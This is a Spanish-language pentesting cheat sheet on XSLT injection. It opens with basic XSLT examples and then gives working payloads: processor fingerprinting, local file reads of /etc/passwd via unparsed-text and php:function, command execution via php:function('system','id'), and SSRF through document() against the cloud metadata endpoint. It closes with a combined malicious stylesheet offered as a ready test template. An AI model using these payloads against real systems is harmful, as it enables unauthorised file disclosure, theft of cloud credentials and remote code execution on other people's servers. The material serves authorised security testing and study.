XSLT (eXtensible Stylesheet Language Transformation) Injection
XSLT es un lenguaje usado para transformar documentos XML en otros formatos (HTML, texto plano, otro XML), aplicando una "hoja de estilo" (stylesheet) que define reglas de transformación. Cuando una aplicación permite al usuario controlar total o parcialmente el documento XSLT que se procesa, se puede inyectar lógica propia del lenguaje XSLT — cuyo impacto abarca desde divulgación de información hasta lectura de archivos y, en ciertos procesadores, ejecución remota de código.
Documento XML de ejemplo
<?xml version="1.0" encoding="UTF-8"?>
<fruits>
<fruit>
<name>Apple</name>
<color>Red</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Banana</name>
<color>Yellow</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Strawberry</name>
<color>Red</color>
<size>Small</size>
</fruit>
</fruits>Elementos básicos de XSLT
<xsl:template>: define una plantilla; el atributomatchindica a qué ruta del documento XML se aplica.<xsl:value-of>: extrae el valor del nodo XML especificado en el atributoselect.<xsl:for-each>: itera sobre todos los nodos XML especificados enselect.
Documento XSLT de ejemplo, que genera un listado de frutas con su color:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all the fruits:
<xsl:for-each select="fruit">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>Resultado de combinar el XML con este XSLT:
Here are all the fruits:
Apple (Red)
Banana (Yellow)
Strawberry (Red)Elementos adicionales: ordenamiento y condicionales
<xsl:sort>: especifica cómo ordenar los elementos dentro de un buclefor-each(selectindica el campo,orderla dirección —ascending/descending).<xsl:if>: evalúa una condición sobre un nodo, especificada en el atributotest.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all fruits of medium size ordered by their color:
<xsl:for-each select="fruit">
<xsl:sort select="color" order="descending" />
<xsl:if test="size = 'Medium'">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:if>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>Resultado:
Here are all fruits of medium size ordered by their color:
Banana (Yellow)
Apple (Red)Explotando XSLT Injection
Divulgación de información
La función system-property() expone metadatos del propio procesador XSLT en uso — útil para huella digital de la tecnología antes de intentar payloads más avanzados:
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />- El
vendor/product-nameidentifica el procesador exacto (por ejemplo, Xalan, Saxon,libxslt) — cada uno soporta distintas extensiones (comophp:function, ver más abajo), por lo que este paso condiciona qué payloads de explotación posteriores son viables.
Local File Inclusion (LFI)
Con la función estándar unparsed-text() (parte de XSLT 2.0+, ampliamente soportada):
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />Cuando el procesador es PHP (libxslt con la extensión php:function habilitada), se puede invocar funciones PHP nativas directamente desde XSLT:
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />- Requiere declarar el namespace de PHP en el stylesheet (
xmlns:php="http://php.net/xsl") para quephp:functionsea reconocido.
Remote Code Execution (RCE)
Cuando php:function está disponible, se puede invocar directamente la función system de PHP:
<xsl:value-of select="php:function('system','id')" />SSRF/LFI combinados vía la función document()
La función document() de XSLT permite cargar y procesar un recurso XML externo — igual que ocurre con las entidades externas de XXE (ver xxe.md), esto puede apuntar tanto a archivos locales como a URLs remotas:
<xsl:value-of select="document('file:///etc/passwd')"/><xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>- Esta función convierte a XSLT injection en un vector potencial de SSRF además de LFI — vale la pena probar contra endpoints de metadata cloud de la misma forma que con XXE (ver la sección correspondiente en
ssrf.md).
Documento XSLT malicioso completo (ejemplo integrador)
Combinando varias técnicas en un solo stylesheet, útil como plantilla de prueba inicial contra un endpoint que procesa XSLT proporcionado por el usuario:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:text>Processor: </xsl:text>
<xsl:value-of select="system-property('xsl:vendor')" />
<br/>
<xsl:text>File read: </xsl:text>
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
<br/>
<xsl:text>Command exec: </xsl:text>
<xsl:value-of select="php:function('system','id')" />
</xsl:template>
</xsl:stylesheet>Notas de metodología
- Confirmar primero el procesador XSLT en uso (
system-property) antes de intentar RCE — las funciones de extensión comophp:functionsolo existen si el backend es PHP conlibxslt; procesadores Java (Xalan, Saxon) requieren payloads distintos (por ejemplo, invocando clases Java arbitrarias vía extensiones específicas de cada procesador). - La función
document()es funcionalmente equivalente a una entidad externa de XXE — cualquier objetivo de metadata cloud o archivo local que se probaría en un XXE vale la pena probarlo aquí también. - Buscar el punto de inyección típico: funcionalidades de "vista previa"/"transformación" de documentos XML/XSLT proporcionados por el usuario, generación de reportes/facturas desde plantillas XSLT configurables, o APIs que aceptan un parámetro de "stylesheet" personalizado.